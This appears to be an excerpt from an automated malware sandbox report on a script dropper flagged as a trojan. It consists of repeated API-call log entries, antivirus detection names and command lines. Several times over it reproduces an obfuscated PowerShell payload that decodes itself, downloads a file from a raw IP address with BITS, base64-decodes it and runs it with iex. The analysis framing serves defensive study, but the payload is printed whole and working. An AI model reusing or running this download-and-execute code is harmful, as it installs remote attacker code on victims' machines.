parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0
Avast Script:SNH-gen [Drp]
Kaspersky HEUR:Trojan.VBS.SAgent.gen
Ikarus Trojan.VBS.Agent
AVG Script:SNH-gen [Drp]
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline powers~ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersuell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powers{ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
